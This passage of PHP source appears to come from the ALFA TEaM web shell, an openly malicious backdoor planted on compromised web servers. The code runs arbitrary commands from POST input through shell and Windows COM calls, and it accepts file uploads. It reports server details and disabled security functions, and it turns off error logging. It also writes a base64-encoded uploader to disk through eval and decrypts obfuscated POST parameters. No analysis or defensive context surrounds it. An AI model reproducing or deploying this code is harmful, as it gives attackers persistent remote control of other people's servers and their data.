  779. $out = @stream_get_contents($pipes[1]);
  780. } elseif (class_exists('COM')) {
  781. $alfaWs = new COM('WScript.shell');
  782. $exec = $alfaWs->exec('cmd.exe /c ' . $_POST['alfa1']);
  783. $stdout = $exec->StdOut();
  784. $out = $stdout->ReadAll();
  785. }
  786. }
  787. catch (Exception $e) {
  788. }
  789. return $out;
  790. }
  791. function _alfa_fsockopen($server, $uri, $post)
  792. {
  793. $socket = @fsockopen($server, 80, $errno, $errstr, 15);
  794. if ($socket) {
  795. $http = "POST {$uri} HTTP/1.0\r\n";
  796. $http .= "Host: {$server}\r\n";
  797. $http .= "User-Agent: " . $_SERVER['HTTP_USER_AGENT'] . "\r\n";
  798. $http .= "Content-Type: application/x-www-form-urlencoded\r\n";
  799. $http .= "Content-length: " . strlen($post) . "\r\n";
  800. $http .= "Connection: close\r\n\r\n";
  801. $http .= $post . "\r\n\r\n";
  802. fwrite($socket, $http);
  803. $contents = "";
  804. while (!@feof($socket)) {
  805. $contents .= @fgets($socket, 4096);
  806. }
  807. list($header, $body) = explode("\r\n\r\n", $contents, 2);
  808. @fclose($socket);
  809. return $body;
  810. } else {
  811. return "";
  812. }
  813. }
  814. if (isset($_GET["solevisible"])) {
  815. @error_reporting(E_ALL ^ E_NOTICE);
  816. echo '<html>';
  817. echo "<title>Solevisible Hidden Shell</title>";
  818. echo "<body bgcolor=#000000>";
  819. echo '<b><big><font color=#7CFC00>Kernel : </font><font color="#FFFFF">' . (function_exists('php_uname') ? php_uname() : '???') . '</font></b></big>';
  820. $safe_mode = @ini_get('safe_mode');
  821. if ($safe_mode) {
  822. $r = "<b style='color: red'>On</b>";
  823. } else {
  824. $r = "<b style='color: green'>Off</b>";
  825. }
  826. echo "<br><b style='color: #7CFC00'>OS: </font><font color=white>" . PHP_OS . "</font><br>";
  827. echo "<b style='color: #7CFC00'>Software: </font><font color=white>" . $_SERVER['SERVER_SOFTWARE'] . "</font><br>";
  828. echo "PHP Version: <font color=white>" . PHP_VERSION . "</font><br />";
  829. echo "PWD:<font color=#FFFFFF> " . str_replace("\\", "/", @getcwd()) . "/<br />";
  830. echo "<b style='color: #7CFC00'>Safe Mode : $r<br>";
  831. echo "<font color=#7CFC00>Disable functions : </font>";
  832. $disfun = @ini_get('disable_functions');
  833. if (empty($disfun)) {
  834. $disfun = '<font color="green">NONE</font>';
  835. }
  836. echo "<font color=red>";
  837. echo "$disfun";
  838. echo "</font><br>";
  839. echo "<b style='color: #7CFC00'>Your Ip Address is : </font><font color=white>" . $_SERVER['REMOTE_ADDR'] . "</font><br>";
  840. echo "<b style='color: #7CFC00'>Server Ip Address is : </font><font color=white>" . (function_exists('gethostbyname') ? @gethostbyname($_SERVER["HTTP_HOST"]) : '???') . "</font><br><p>";
  841. echo '<hr><center><form onSubmit="this.upload.disabled=true;this.cwd.value = btoa(unescape(encodeURIComponent(this.cwd.value)));" action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
  842. echo 'CWD: <input type="text" name="cwd" value="' . str_replace("\\", "/", @getcwd()) . '/" size="59"><p><input type="file" name="file" size="45"><input name="upload" type="submit" id="_upl" value="Upload"></p></form></center>';
  843. if (isset($_FILES['file'])) {
  844. if (@move_uploaded_file($_FILES['file']['tmp_name'], __ZGVjb2Rlcg(@$_POST['cwd']) . '/' . $_FILES['file']['name'])) {
  845. echo '<b><font color="#7CFC00"><center>Upload Successfully ;)</font></a><font color="#7CFC00"></b><br><br></center>';
  846. } else {
  847. echo '<center><b><font color="#7CFC00">Upload failed :(</font></a><font color="#7CFC0"></b></center><br><br>';
  848. }
  849. }
  850. echo '<hr><form onSubmit="this.execute.disabled=true;this.command_solevisible.value = btoa(unescape(encodeURIComponent(this.command_solevisible.value)));" method="POST">Execute Command: <input name="command_solevisible" value="" size="59" type="text" align="left" ><input name="execute" value="Execute" type="submit"><br></form><hr><pre>';
  851. if (isset($_POST['command_solevisible'])) {
  852. if (strtolower(substr(PHP_OS, 0, 3)) == "win")
  853. $separator = '&';
  854. else
  855. $separator = ';';
  856. $solevisible = "cd '" . addslashes(str_replace("\\", "/", @getcwd())) . "'" . $separator . "" . __ZGVjb2Rlcg($_POST['command_solevisible']);
  857. echo alfaEx($solevisible);
  858. }
  859. echo '</pre></body></html>';
  860. exit;
  861. }
  862. @error_reporting(E_ALL ^ E_NOTICE);
  863. @ini_set('error_log', NULL);
  864. @ini_set('log_errors', 0);
  865. @ini_set('max_execution_time', 0);
  866. @ini_set('magic_quotes_runtime', 0);
  867. @set_time_limit(0);
  868. if (function_exists('set_magic_quotes_runtime')) {
  869. @set_magic_quotes_runtime(0);
  870. }
  871. foreach ($_POST as $key => $value) {
  872. if (is_array($_POST[$key])) {
  873. $i = 0;
  874. foreach ($_POST[$key] as $f) {
  875. $f = trim(str_replace(' ', '+', $f));
  876. $_POST[$key][$i] = decrypt_post($f, _AlfaSecretKey());
  877. $i++;
  878. }
  879. } else {
  880. $value = trim(str_replace(' ', '+', $value));
  881. $_POST[$key] = decrypt_post($value, _AlfaSecretKey());
  882. }
  883. }
  884. $default_action = 'FilesMan';
  885. $default_use_ajax = true;
  886. $default_charset = 'Windows-1251';
  887. if (strtolower(substr(PHP_OS, 0, 3)) == "win")
  888. $GLOBALS['sys'] = 'win';
  889. else
  890. $GLOBALS['sys'] = 'unix';
  891. $GLOBALS['home_cwd'] = @getcwd();
  892. if ($_POST["a"] != "GetPathHistory") {
  893. if ($_SESSION[__LAST_CWD__] != $_POST['c']) {
  894. $_SESSION[__PATH_HISTORY__] = $_SESSION[__LAST_CWD__];
  895. }
  896. }
  897. $GLOBALS["need_to_update_header"] = "false";
  898. if (isset($_POST['c'])) {
  899. if (!@chdir($_POST['c'])) {
  900. $GLOBALS['glob_chdir_false'] = true;
  901. }
  902. }
  903. $GLOBALS['cwd'] = (isset($_SESSION[__LAST_CWD__]) && $_SESSION[__LAST_CWD__] != '' && !isset($_POST['c']) ? $_SESSION[__LAST_CWD__] : @getcwd());
  904. if (!@is_dir) {
  905. $GLOBALS['cwd'] = @getcwd();
  906. }
  907. if ($GLOBALS['sys'] == 'win') {
  908. $GLOBALS['home_cwd'] = str_replace("\\", "/", $GLOBALS['home_cwd']);
  909. $GLOBALS['cwd'] = str_replace("\\", "/", $GLOBALS['cwd']);
  910. $_SESSION[__PATH_HISTORY__] = str_replace("\\", "/", $_SESSION[__PATH_HISTORY__]);
  911. }
  912. if ($GLOBALS['cwd'][strlen($GLOBALS['cwd']) - 1] != '/')
  913. $GLOBALS['cwd'] .= '/';
  914. function alfaGetPathHistory()
  915. {
  916. echo (isset($_SESSION[__PATH_HISTORY__]) && !empty($_SESSION[__PATH_HISTORY__]) ? $_SESSION[__PATH_HISTORY__] : $GLOBALS['home_cwd']);
  917. }
  918. function alfahead()
  919. {
  920. if (!function_exists('sys_get_temp_dir')) {
  921. function sys_get_temp_dir()
  922. {
  923. foreach (array(
  924. 'TMP',
  925. 'TEMP',
  926. 'TMPDIR'
  927. ) as $env_var) {
  928. if ($temp = getenv($env_var)) {
  929. return $temp;
  930. }
  931. }
  932. $temp = tempnam($GLOBALS['__file_path'], '');
  933. if (_alfa_file_exists($temp, false)) {
  934. unlink($temp);
  935. return dirname($temp);
  936. }
  937. return null;
  938. }
  939. }
  940. $GLOBALS['__ALFA_SHELL_CODE'] = 'PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVhPC9iaWc+PC9mb250PjwvYT48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48L2ZvbnQ+PC9jZW50ZXI+PGJyPlxuPGNlbnRlcj48Zm9ybSBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnIG5hbWU9J3VwbG9hZGVyJz4iO2VjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI0NSI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT48L2NlbnRlcj4nO2lmKGlzc2V0KCRfUE9TVFsnX3VwbCddKSYmJF9QT1NUWydfdXBsJ109PSAiVXBsb2FkIil7aWYoQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkge2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBTdWNjZXNzZnVsbHkgOyk8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO31lbHNle2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBmYWlsZWQgOig8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO319ZWNobyAnPGNlbnRlcj48c3BhbiBzdHlsZT0iZm9udC1zaXplOjMwcHg7IGJhY2tncm91bmQ6IHVybCgmcXVvdDtodHRwOi8vc29sZXZpc2libGUuY29tL2ltYWdlcy9iZ19lZmZlY3RfdXAuZ2lmJnF1b3Q7KSByZXBlYXQteCBzY3JvbGwgMCUgMCUgdHJhbnNwYXJlbnQ7IGNvbG9yOiByZWQ7IHRleHQtc2hhZG93OiA4cHggOHB4IDEzcHg7Ij48c3Ryb25nPjxiPjxiaWc+c29sZXZpc2libGVAZ21haWwuY29tPC9iPjwvYmlnPjwvc3Ryb25nPjwvc3Bhbj48L2NlbnRlcj4nOz8+';
  941. $alfa_uploader = '$x = base64_decode("' . $GLOBALS['__ALFA_SHELL_CODE'] . '");$solevisible = fopen("solevisible.php","w");fwrite($solevisible,$x);';
  942. define("ALFA_UPLOADER", "eval(base64_decode('" . __ZW5jb2Rlcg($alfa_uploader) . "'))");
  943. define("ALFA_TEMPDIR", (function_exists("sys_get_temp_dir") ? (@is_writable(str_replace('\\', '/', sys_get_temp_dir())) ? sys_get_temp_dir() : (@is_writable('.') ? '.' : false)) : false));
  944. if (!isset($_POST['ajax'])) {
  945. function Alfa_GetDisable_Function()
  946. {
  947. $disfun = @ini_get('disable_functions');
  948. $afa = '<span class="header_show_all">All Functions Accessible</span>';
  949. if (empty($disfun))
  950. return ($afa);
  951. $s = explode(',', $disfun);
  952. $s = array_unique($s);
  953. $i = 0;
  954. $b = 0;
  955. $func = array(
  956. 'system',
  957. 'exec',
  958. 'shell_exec',
  959. 'proc_open',
  960. 'popen',
  961. 'passthru',
  962. 'symlink',
  963. 'dl'
  964. );
  965. $black_list = array();
  966. $allow_list = array();
  967. foreach ($s as $d) {
  968. $d = trim($d);
  969. if (empty($d) || !is_callable($d))
  970. continue;
  971. if (!function_exists($d)) {
  972. if (in_array($d, $func)) {
  973. $dis .= $d . " | ";
  974. $b++;
  975. $black_list[] = $d;
  976. } else {
  977. $allow_list[] = $d;
  978. }
  979. $i++;
  980. }
  981. }
  982. if ($i == 0)
  983. return ($afa);
  984. if ($i <= count($func)) {
  985. $all = array_values(array_merge($black_list, $allow_list));
  986. return ('<span class="disable_functions">' . implode(" | ", $all) . '</span>');
  987. }
  988. return ('<span class="disable_functions">' . $dis . '</span><a href=javascript:void(0) onclick="g(\'GetDisFunc\',null,\'wp\');"><span class="header_show_all">Show All (' . $i . ')</span></a>');
  989. }
  990. if (empty($_POST['charset']))
  991. $_POST['charset'] = $GLOBALS['default_charset'];
  992. $freeSpace = function_exists('diskfreespace') ? @diskfreespace($GLOBALS['cwd']) : '?';
  993. $totalSpace = function_exists('disk_total_space') ? @disk_total_space($GLOBALS['cwd']) : '?';
  994. $totalSpace = $totalSpace ? $totalSpace : 1;
  995. $on = "<span class='header_on'> ON </span>";
  996. $of = "<span class='header_off'> OFF </span>";
  997. $none = "<span class='header_none'> NONE </span>";
  998. if (function_exists('ssh2_connect'))
  999. $ssh2 = $on;
  1000. else
  1001. $ssh2 = $of;
  1002. if (function_exists('curl_version'))
  1003. $curl = $on;
  1004. else
  1005. $curl = $of;
  1006. if (function_exists('mysql_get_client_info'))
  1007. $mysql = $on;
  1008. else
  1009. $mysql = $of;
  1010. if (function_exists('mssql_connect'))
  1011. $mssql = $on;
  1012. else
  1013. $mssql = $of;
  1014. if (function_exists('pg_connect'))
  1015. $pg = $on;
  1016. else
  1017. $pg = $of;
  1018. if (function_exists('oci_connect'))
  1019. $or = $on;
  1020. else
  1021. $or = $of;
  1022. if (@ini_get('disable_functions'))
  1023. $disfun = @ini_get('disable_functions');
  1024. else
  1025. $disfun = "All Functions Enable";
  1026. if (@ini_get('safe_mode'))
  1027. $safe_modes = "<span class='header_off'>ON</span>";
  1028. else
  1029. $safe_modes = "<span class='header_on'>OFF</span>";
  1030. $cgi_shell = "<span class='header_off' id='header_cgishell'>OFF</span>";
  1031. if (@ini_get('open_basedir')) {
  1032. $basedir_data = @ini_get('open_basedir');
  1033. if (strlen($basedir_data) > 120) {
  1034. $open_b = substr($basedir_data, 0, 120) . "...";
  1035. } else {
  1036. $open_b = $basedir_data;
  1037. }
  1038. } else {
  1039. $open_b = $none;
  1040. }
  1041. if (@ini_get('safe_mode_exec_dir'))
  1042. $safe_exe = @ini_get('safe_mode_exec_dir');
  1043. else
  1044. $safe_exe = $none;
  1045. if (@ini_get('safe_mode_include_dir'))
  1046. $safe_include = @ini_get('safe_mode_include_dir');
  1047. else
  1048. $safe_include = $none;
  1049. if (!function_exists('posix_getegid')) {
  1050. $user = function_exists("get_current_user") ? @get_current_user() : "????";
  1051. $uid = function_exists("getmyuid") ? @getmyuid() : "????";
  1052. $gid = function_exists("getmygid") ? @getmygid() : "????";
  1053. $group = "?";
  1054. } else {
  1055. $uid = function_exists("posix_getpwuid") && function_exists("posix_geteuid") ? @posix_getpwuid(posix_geteuid()) : array(
  1056. "name" => "????",
  1057. "uid" => "????"
  1058. );
  1059. $gid = function_exists("posix_getgrgid") && function_exists("posix_getegid") ? @posix_getgrgid(posix_getegid()) : array(
  1060. "name" => "????",
  1061. "gid" => "????"
  1062. );
  1063. $user = $uid['name'];
  1064. $uid = $uid['uid'];
  1065. $group = $gid['name'];
  1066. $gid = $gid['gid'];
  1067. }
  1068. $cwd_links = '';
  1069. $path = explode("/", $GLOBALS['cwd']);
  1070. $n = count($path);
  1071. for ($i = 0; $i < $n - 1; $i++) {
  1072. $cwd_links .= "<a class='header_pwd' href='javascript:void(0);' onclick='g(\"FilesMan\",\"";
  1073. for ($j = 0; $j <= $i; $j++)
  1074. $cwd_links .= $path[$j] . '/';
  1075. $cwd_links .= "\")'>" . $path[$i] . "/</a>";
  1076. }
  1077. $drives = "";
  1078. foreach (range('a', 'z') as $drive)
  1079. if (@is_dir($drive . ':\\'))
  1080. $drives .= '<a href="javascript:void(0);" class="header_drive" onclick="g(\'FilesMan\',\'' . $drive . ':/\')">[ ' . $drive . ' ]</a> ';
  1081. $csscode = ' -moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation-duration: 1s;';
  1082. echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta name="ROBOTS" content="NOINDEX, NOFOLLOW" /><link href="' . __showicon('alfamini') . '" rel="icon" type="image/x-icon"/><title>..:: ' . $_SERVER['HTTP_HOST'] . ' ~ ALFA TEaM Shell - v' . __ALFA_VERSION__ . ' ::..</title><link href="https://fonts.googleapis.com/css?family=Francois+One" rel="stylesheet"><style type="text/css">.hlabale{color:#67ABDF;border-radius:4px;border:1px solid #27979B;margin-left:7px;padding:2px}#tbl_sympphp tr{text-align:center}.editor-view{position:relative}.view-content{position:absolute;overflow-y:auto;width:100%;height:475px}::-webkit-scrollbar-track{-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,0.3);border-radius:10px;background-color:#000115}::-webkit-scrollbar{width:10px;background-color:#000115}::-webkit-scrollbar-thumb{border-radius:10px;-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);background-color:#1e82b5}.editor-file-name{margin-left:29px;margin-top:4px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.editor-icon{position:absolute}.is_active{background:rgba(49,55,93,0.77);border-radius:10px}.history-list{height:88%;overflow-y:auto}#editor-minimized,#cgiloader-minimized{display:block;position:fixed;right:-30px;width:30px;height:30px;top:30%}.minimized-wrapper{position:relative;background:#0e304a;width:44px;height:167px;cursor:pointer;border-bottom-left-radius:5px;border-top-left-radius:5px}.minimized-text{transform:rotate(-90deg);color:#f5deb3;font-size:x-large;display:inline-block;position:absolute;right:-51px;width:129px;top:50px;border-top-left-radius:4%;height:56px;padding:3px}.close-button,.editor-minimize{height:26px;width:38px;right:7px;background:#1d5673;cursor:pointer;position:absolute;box-sizing:border-box;line-height:50px;display:inline-block;top:17px;border-radius:100px}.editor-minimize{right:50px}.close-button:before,.close-button:after,.editor-minimize:before{transform:rotate(-45deg);content:"";position:absolute;top:63%;right:6px;margin-top:-5px;margin-left:-25px;display:block;height:4px;width:27px;background-color:rgba(216,207,207,0.75);transition:all .25s ease-out}.editor-minimize:before{transform:rotate(0deg)}.close-button:after{transform:rotate(-135deg)}.close-button:hover:before,.close-button:hover:after,.editor-minimize:hover:before{background-color:red}.close-button:hover,.editor-minimize:hover{background-color:rgba(39,66,80,0.96)}#editor,#cgiloader{display:none;position:fixed;top:0;width:100%;height:100%}.editor-wrapper{width:100%;height:100%;position:relative;top:1%}.editor-header{width:97%;background:rgba(21,66,88,0.93);height:37px;margin-left:13px;position:relative;border-top-left-radius:15px;border-top-right-radius:15px}.editor-path{position:absolute;font-size:x-large;margin-left:10px;top:6px;color:#00ff7f}.editor-modal{position:relative;top:0;background-color:rgba(0,1,23,0.95);height:90%;margin-left:20%;margin-right:2%;border:2px #0e304a solid}.editor-explorer{width:19%;height:90%;background-color:rgba(0,1,23,0.94);position:absolute;z-index:2;left:1%;border:2px #0e304a solid}.editor-controller{position:relative;top:-13px}.file-holder{position:relative;width:100%;height:30px}.file-holder > .history{position:absolute;color:#03b3a3;cursor:pointer;left:5px;font-size:18px;font-family:sans-serif;width:89%;height:100%;z-index:3;border-radius:10px;transition:background-color 600ms ease-out}.file-holder > .history-close{display:block;opacity:0;position:absolute;right:2px;width:20px;top:4px;text-align:center;cursor:pointer;color:#fff;background:red;border-radius:100px;font-family:monospace;z-index:10;transition:opacity 600ms ease-out;font-size:15px;height:19px}.file-holder > .history:hover{background-color:#646464}.editor-explorer > .hheader{position:relative;color:#14ff07;border-bottom:2px #206aa2 solid;text-align:center;font-family:sans-serif;margin-bottom:10px;height:55px}.editor-search{position:absolute;bottom:7px;left:31px}.hheader-text{position:absolute;left:8px;top:2px}.history-clear{position:absolute;right:8px;top:2px;cursor:pointer}.editor-body{position:relative;margin-left:3px}.editor-anim-close{' . showAnimation("editorClose") . '}@keyframes editorClose{0%{transform:scale(1);opacity:1}100%{transform:scale(0);opacity:0}}.editor-anim-minimize{' . showAnimation("editorMinimize") . '}@keyframes editorMinimize{0%{right:0;opacity:1}100%{right:-2000px;opacity:0}}.editor-anim-show{' . showAnimation("editorShow") . '}@keyframes editorShow{0%{right:-2000px;opacity:0}100%{right:0;opacity:1}}.minimized-show{' . showAnimation("minimizeShow") . '}@keyframes minimizeShow{0%{right:-30px;opacity:0}100%{right:0;opacity:1}}.minimized-hide{' . showAnimation("minimizeHide") . '}@keyframes minimizeHide{0%{right:0;opacity:1}100%{right:-30px;opacity:0}}.solevisible-text:hover{-webkit-text-shadow:0 0 25px #0F0;-moz-text-shadow:0 0 25px #0F0;-ms-text-shadow:0 0 25px #0F0;text-shadow:0 0 25px #0F0}.update-holder{position:fixed;top:0;background-color:rgba(0,24,29,0.72);width:100%;height:100%}.update-partner{width:50%;position:relative;border-radius:31px;height:200px;background-color:rgba(3,3,41,0.47);text-align:center;color:rgba(252,253,251,0.88);margin-left:25%;top:23%;font-family:"Francois One",sans-serif}.update-partner:hover{-webkit-box-shadow:inset 0 0 99px 9px rgba(11,15,41,1);-moz-box-shadow:inset 0 0 99px 9px rgba(11,15,41,1);box-shadow:inset 0 0 99px 9px rgba(11,15,41,1)}.update-content{position:relative}.update-content > a{text-decoration:none;position:absolute;color:rgba(103,167,47,0.77);left:24%;margin-top:7%;font-size:40px;font-family:"Francois One",sans-serif}.update-close{position:absolute;right:0;margin-right:23px;top:10px;font-size:27px;background-color:#130f50;width:5%;border-radius:100px;cursor:pointer;border:2px #0e265a solid}.update-close:hover{border:2px #25ff00 solid;color:red}.filestools{height:auto;width:auto;color:#67ABDF;font-size:12px;font-family:Verdana,Geneva,sans-serif}@-moz-document url-prefix(){#search-input{width:173px;}.editor-path{top:3px;}}@keyframes spin {from {transform: rotate(0deg);}to{transform: rotate(360deg);}}@-webkit-keyframes spin {from {-webkit-transform: rotate(0deg);}to {-webkit-transform: rotate(360deg);}}@-moz-keyframes spin {from {-moz-transform: rotate(0deg);}to {-moz-transform: rotate(360deg);}}@-ms-keyframes spin {from {-ms-transform: rotate(0deg);}to {-ms-transform: rotate(360deg);}}#alfaloader{' . $csscode . 'width:100px;height:100px;}#a_loader{' . $csscode . 'width:150px;height:150px;position:fixed;z-index:999999;top: 42%;left: 45%;display:none;}.ajaxarea{border:1px solid #0E304A;color:#67ABDF}#up_bar{background-color:red;width:0;height:2px;display:none;position:fixed;z-index:100000}#hidden_sh{background-color:#0E304A;text-align:center;position:absolute;right:0;left:90%;border-bottom-left-radius:2em}.alert_green{color:#0F0;font-family:"Comic Sans MS";font-size:small;text-decoration:none}.whole{background-color:#000;background-image:url(http://solevisible.com/images/alfabg.png);background-position:center;background-attachment:fixed;background-repeat:no-repeat}.header{height:auto;width:auto;border:7px solid #0E304A;color:' . alfa_getColor("header_values") . ';font-size:12px;font-family:Verdana,Geneva,sans-serif}.header a{text-decoration:none;}.filestools a{color:#0F0;text-decoration:none}.filestools a:hover{color:#FFF;text-decoration:none;}span{font-weight:bolder;color:#FFF}.txtfont{font-family:"Comic Sans MS";font-size:small;color:#fff;display:inline-block}.txtfont_header{font-family:"Comic Sans MS";font-size:large;display:inline-block;color:#59cc33}.tbltxt{font-family:"Comic Sans MS";color:#fff;font-size:small;display:inline-block}input[type="file"]{display:none}.inputfile{border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;border-radius:4px;height:20px;width:250px;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;display:inline-block;overflow:hidden}.inputfile:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}.inputfile span,.inputfile strong{padding:2px;padding-left:10px}.inputfile span{color:#25ff00;width:90px;min-height:2em;display:inline-block;text-overflow:ellipsis;white-space:nowrap;overflow:hidden;vertical-align:top;float:left}.inputfile strong{background-image:url(' . __showicon('alfamini') . ');background-repeat:no-repeat;background-position:float;height:100%;width:109px;color:#fff;background-color:#0E304A;display:inline-block;float:right}.inputfile:focus strong,.inputfile.has-focus strong,.inputfile:hover strong{background-color:#46647A}.button{padding:3px}#addup,.button{cursor:pointer;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px;background-color:#000;color:green;border-radius:100px}#addup:hover,.button:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:disabled:hover{cursor:not-allowed}td{padding:' . ($GLOBALS['DB_NAME']['show_icons'] == '1' ? '0' : '1') . 'px}.myCheckbox{padding-left:2px}.myCheckbox label{display:inline-block;cursor:pointer;position:relative}.myCheckbox input[type=checkbox]{display:none}.myCheckbox label:before{content:"";display:inline-block;width:14px;height:13px;position:absolute;background-color:#aaa;box-shadow:inset 0 2px 3px 0 rgba(0,0,0,.3),0 1px 0 0 rgba(255,255,255,.8)}.myCheckbox label{margin-bottom:15px;padding-right:17px}.myCheckbox label:before{border-radius:100px}input[type=checkbox]:checked + label:before{content:"";background-color:#0E304A;background-image:url(' . __showicon('alfamini') . ');background-repeat:no-repeat;background-position:50% 50%;background-size:14px 14px;border:1px solid #0F0;box-shadow:0 0 4px #0F0}#meunlist{font-family:Verdana,Geneva,sans-serif;color:#FFF;width:auto;border-right-width:7px;border-left-width:7px;height:auto;font-size:12px;font-weight:700;border-top-width:0;border-color:#0E304A;border-style:solid}.whole #meunlist ul{text-align:center;list-style-type:none;margin:0;padding:5px 5px 7px 2px}.whole #meunlist li{margin:0;padding:0;display:inline}.whole #meunlist a{font-family:arial,sans-serif;font-size:14px;text-decoration:none;font-weight:700;clear:both;width:100px;margin-right:-6px;border-right-width:1px;border-right-style:solid;border-right-color:#FFF;padding:3px 15px}.foot{font-family:Verdana,Geneva,sans-serif;margin:0;padding:0;width:100%;text-align:center;font-size:12px;color:#0E304A;border-right-width:7px;border-left-width:7px;border-bottom-width:7px;border-bottom-style:solid;border-right-style:solid;border-right-style:solid;border-left-style:solid;border-color:#0E304A}#text{text-align:center}input[type=submit]{cursor:pointer;background-image:url(' . __showicon('btn') . ');background-repeat:no-repeat;background-position:50% 50%;background-size:23px 23px;background-color:#000;width:30px;height:30px;border:1px solid #27979B;border-radius:100px}textarea{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}textarea:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}input[type=submit]:hover{color:#000;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:2px solid #27979B;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}select{padding:3px;width:162px;color:#FFE;text-shadow:#000 0 2px 7px;border:1px solid #0E304A;background:#000;text-decoration:none;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}select:hover{border:1px solid #27979B;box-shadow:0 0 4px #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}.foottable{width: 300px;font-weight: bold;' . (!@is_writable($GLOBALS['cwd']) ? '}.dir{background-color:red;}' : '}') . '.main th{text-align:left;}.main a{color: #FFF;}.main tr:hover{background-color:#646464;}.ml1{ border:1px solid #0E304A;padding:5px;margin:0;overflow: auto; }.bigarea{ width:99%; height:300px; }' . alfaCssLoadColors() . '</style>';
